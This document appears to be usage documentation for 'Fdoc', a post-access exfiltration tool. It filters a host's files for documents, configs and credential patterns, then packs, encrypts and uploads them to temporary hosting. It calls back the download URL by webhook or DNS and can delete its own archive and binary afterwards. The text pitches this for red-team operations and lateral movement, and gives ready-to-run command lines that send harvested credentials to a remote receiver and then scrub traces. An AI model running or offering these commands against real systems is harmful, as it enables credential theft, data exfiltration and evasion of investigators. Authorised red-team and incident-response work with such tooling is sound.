When you land on a host (or only have a short-lived shell), the goal is rarely a full disk image. More often you need to filter a subset of files, pack them into a size-bounded archive, and get the result back to the operator side quickly.

1. Use cases

Typical needs include:

• Type filtering: only certain types—contracts/report PDFs, Office files, configs, archives, recently modified documents
• Stacked conditions: names containing password/password-book, content matching credential patterns (via -keyword secrets), mtime after a given day
• Size and time limits: cannot blindly pack tens of GB, and cannot linger on the target
• Result callback: packing is not enough—files stay on the target; you still need the download URL back on the operator side, even if the parent process/C2 dies
• Footprint control: after transfer, avoid leaving the archive and the tool itself on disk

A concrete playbook: right after initial access, run a short collection pass—filter sensitive configs, documents, spreadsheets, and source by extension/name/keyword into an archive, exfil to a local analysis box. The pack often yields network maps, password books, credential sheets, and ops manuals that support lateral movement—without slowly browsing the disk on target.

Red-team exfil, pulling key evidence in IR, or ops “only grab this directory/file class”—all are selective exfil, not backup, not full-disk forensics.

Fdoc is built for that: filter on target, pack, (optionally) upload, (optionally) callback the URL to a receiver, (optionally) scrub.

2. Pain points addressed

In one line:

Under the constraint of “short dwell time, only some files, and still get results home,” Fdoc folds filter, pack, exfil, and callback into one scriptable command chain.

3. Pipeline

Main path:

Parse flags → Walk from -d → filter by rules → stream-write .tgz → (optional) encrypt and upload to temp hosting → (optional) webhook/DNS callback URL → (optional) scrub

Per file, filters are a fixed AND chain (unset items pass):

Skip -x dirs → regular file or followable file symlink → -e extension → -f name → -t date → -k/-keyword content → -max-file → whether total hits -max.

Commas inside one flag are OR. Example: -e pdf -f invoice -t 2024-01-01 requires all three; -keyword password:,token: matches either in content. Presets work too: -keyword secrets (alias creds) expands to assignment/JSON credential substrings. Details and preset tables: 4.1 Multi-condition filtering.

Size and exit behavior:

• Default soft cap: total budget counted by logical size, default 1GB; per-file -max-file off by default (0)
• No explicit -max: hitting the budget fails immediately (exit 1) and asks you to set -max (or -max 0 to disable)—avoids silent truncation
• Explicit -max: truncate and keep what was packed (exit 2); if upload is on, the partial archive may still upload—“take what you can”
• Huge single files: add -max-file explicitly when you need to skip them

Without -upload, packing stays local and offline. With it, probe, upload, and callback kick in.

4. Features

4.1 Multi-condition filtering

Narrow the set by extension, name, content, date, and skip dirs; conditions are AND across flags, OR within a comma-separated flag. Rules: 3. Pipeline.

-e presets:

-keyword presets:

Examples:

Fdoc -d /data -e pdf -f invoice -keyword 'token:' -t 2025-01-01 -o hits.tgz
Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o creds.tgz

Symlinks: on Unix/macOS, file symlinks are followed (content from target, archive path keeps the link path); directory symlinks are not entered. Windows .lnk is not resolved—only the shortcut file itself is packed when -e matches.

4.2 Stream pack with size budget

No full listing then compress—memory stays bounded. Use -size to estimate first. Long jobs emit PACK_PROGRESS / UPLOAD_PROGRESS heartbeats for headless use.

4.3 Built-in upload: auto-pick temp backends by size

With -upload, backends are filtered by archive size, probed in parallel, and failed over by latency; pin one with -b (demos often use -b lit). Full names and size caps: Fdoc backends. Without callback, the URL goes to stdout for scripting; status lines on stderr (UPLOAD_OK, etc.).

4.4 Callback decoupled from the session

With -webhook / -dns, the download URL is pushed to your receiver: HTTPS webhook first, DNSLog shards on failure. If the parent session dies, you may still recover the URL from the callback. stdout/stderr roles stay fixed so scripts and humans do not fight over output.

4.5 Optional pre-upload encryption

-encrypt -key: AES-256-CBC with UP01 magic; remote objects use .bin so they are not mistaken for plain gzip. Built-in Fdoc decrypt—no second tool. The key is a passphrase padded to 32 bytes (not PBKDF2); treat it as a shared-secret model.

4.6 Optional scrub

After a successful upload (and successful callback if configured), delete the archive and the binary itself. On Windows, self-delete is best-effort (delayed / reboot delete); failure yields SCRUB_PARTIAL and a non-zero exit.

4.7 Cross-platform static binary

Ships as dependency-free static singles for Linux / Windows / macOS (amd64 and arm64). Same flags across platforms; Windows scrub, SkipDirs, and .lnk behavior are covered above and in release notes.

5. Minimal examples

# Estimate size first when unsure
Fdoc -d /data -e documents -size

# Pack
Fdoc -d /data -e documents -max 500MB -o /tmp/docs.tgz

# Hunt credential patterns in config/JSON
Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o /tmp/creds.tgz

# Upload; URL on stdout
Fdoc -d /data -o /tmp/docs.tgz -upload -q

# Encrypt + upload + webhook callback + scrub
Fdoc -d /data -e pdf,docx -t 2025-01-01 -o /tmp/docs.tgz \
  -upload -encrypt -key "$KEY" \
  -webhook https://your.receiver/hook \
  -scrub -q

DNS shard format, encryption disk use, Windows SkipDirs, and related details: see the Fdoc README.

6. Terminal demos

Four clips cover the main path: size estimate → filtered pack → pinned-backend upload → upload with webhook callback.